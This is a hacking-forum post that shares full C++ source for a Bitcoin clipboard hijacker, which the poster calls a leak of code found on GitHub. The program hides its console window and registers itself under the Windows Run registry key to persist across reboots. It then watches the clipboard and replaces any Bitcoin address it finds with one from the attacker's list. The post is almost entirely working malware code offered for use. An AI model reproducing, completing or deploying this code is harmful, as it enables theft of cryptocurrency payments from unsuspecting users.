Login Register
The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.


Leak Bitcoin Clipboard Changer (C++) filter_list
Author
Message
Bitcoin Clipboard Changer (C++) #1
Some code I found on Github, I just added a simple startup on reboot option and it hides the console, roughly get about a 16KB stub.

Config.hpp
Code:
#ifndef DEF_CONFIG_HPP #define DEF_CONFIG_HPP #include <array> namespace config  {     // You have to create a C++-style array containing bitcoin addresses here.     // Example:     std::array<std::string, 10> bitcoinAddresses {"address1", "address2",         "address3", "address4", "address5", "address6", "address7", "address8",         "address9", "address10" };     size_t bitcoinAddressesSize = bitcoinAddresses.size(); } #endif //DEF_CONFIG_HPP

Clipboard.hpp
Code:
#ifndef DEF_CLIPBOARD_HPP #define DEF_CLIPBOARD_HPP #include <iostream> #include "windows.h" class Clipboard { public:     Clipboard();     ~Clipboard();     std::string getClipboard();     void setClipboard(std::string contentsToSet); private: }; #endif //DEF_CLIPBOARD_HPP

Clipboard.cpp
Code:
#include "Clipboard.hpp" Clipboard::Clipboard() { } Clipboard::~Clipboard() { } std::string Clipboard::getClipboard() {     std::string text = "error";     if(OpenClipboard(NULL))     {         HANDLE hData = GetClipboardData(CF_TEXT);         if(hData != NULL)         {             text = static_cast<char *>(GlobalLock(hData));     GlobalUnlock(hData);         }         CloseClipboard();     }     return text; } void Clipboard::setClipboard(std::string contentsToSet) {     if(OpenClipboard(NULL))     {         HGLOBAL clipbuffer;         char * buffer;         EmptyClipboard();         clipbuffer = GlobalAlloc(GMEM_DDESHARE, contentsToSet.length() + 1);         buffer = (char*)GlobalLock(clipbuffer);         strcpy(buffer, LPCSTR(contentsToSet.c_str()));         GlobalUnlock(clipbuffer);         SetClipboardData(CF_TEXT,clipbuffer);         CloseClipboard();     } }

Main.cpp
Code:
#include <iostream> #include <string> #include <algorithm> #include "Config.hpp" #include "Clipboard.hpp" #if defined(__linux__) #include <unistd.h> #define Sleep(x) usleep((x) * 1000) #endif bool isBitcoinAddress(const std::string& str) { if (str.at(0) != '1') return false; size_t strLength = str.length(); if (strLength < 26 || strLength > 35) return false; bool isAlphaNumeric = find_if(str.cbegin(), str.cend(), [](char c) { return !(isalnum(c) || (c == ' ')); }) == str.cend(); return isAlphaNumeric; } BOOL IsMyProgramRegisteredForStartup(PCWSTR pszAppName) { HKEY hKey = NULL; LONG lResult = 0; BOOL fSuccess = TRUE; DWORD dwRegType = REG_SZ; wchar_t szPathToExe[MAX_PATH] = {}; DWORD dwSize = sizeof(szPathToExe); lResult = RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_READ, &hKey); fSuccess = (lResult == 0); if (fSuccess) { lResult = RegGetValueW(hKey, NULL, pszAppName, RRF_RT_REG_SZ, &dwRegType, szPathToExe, &dwSize); fSuccess = (lResult == 0); } if (fSuccess) { fSuccess = (wcslen(szPathToExe) > 0) ? TRUE : FALSE; } if (hKey != NULL) { RegCloseKey(hKey); hKey = NULL; } return fSuccess; } BOOL RegisterMyProgramForStartup(PCWSTR pszAppName, PCWSTR pathToExe, PCWSTR args) { HKEY hKey = NULL; LONG lResult = 0; BOOL fSuccess = TRUE; DWORD dwSize; const size_t count = MAX_PATH * 2; wchar_t szValue[count] = {}; wcscpy_s(szValue, count, L"\""); wcscat_s(szValue, count, pathToExe); wcscat_s(szValue, count, L"\" "); if (args != NULL) { wcscat_s(szValue, count, args); } lResult = RegCreateKeyExW(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, 0, (KEY_WRITE | KEY_READ), NULL, &hKey, NULL); fSuccess = (lResult == 0); if (fSuccess) { dwSize = (wcslen(szValue) + 1) * 2; lResult = RegSetValueExW(hKey, pszAppName, 0, REG_SZ, (BYTE*)szValue, dwSize); fSuccess = (lResult == 0); } if (hKey != NULL) { RegCloseKey(hKey); hKey = NULL; } return fSuccess; } void RegisterProgram() { wchar_t szPathToExe[MAX_PATH]; GetModuleFileNameW(NULL, szPathToExe, MAX_PATH); RegisterMyProgramForStartup(L"My_Program", szPathToExe, L"-foobar"); } int main() { RegisterProgram(); IsMyProgramRegisteredForStartup(L"My_Program"); ShowWindow(GetConsoleWindow(), SW_HIDE); Clipboard clipboard; size_t iBitcoinAddresses = 0; std::string oldAddressSet; while (1) { std::string clipboardContents = clipboard.getClipboard(); if (isBitcoinAddress(clipboardContents)) { if (oldAddressSet != clipboardContents) { std::string addressToSet = config::bitcoinAddresses.at (iBitcoinAddresses); clipboard.setClipboard(addressToSet); oldAddressSet = addressToSet; iBitcoinAddresses = (iBitcoinAddresses + 1) % config::bitcoinAddressesSize; } } Sleep(700); } return 0; }
[Image: Artboard-1.png]

Reply







Users browsing this thread: 1 Guest(s)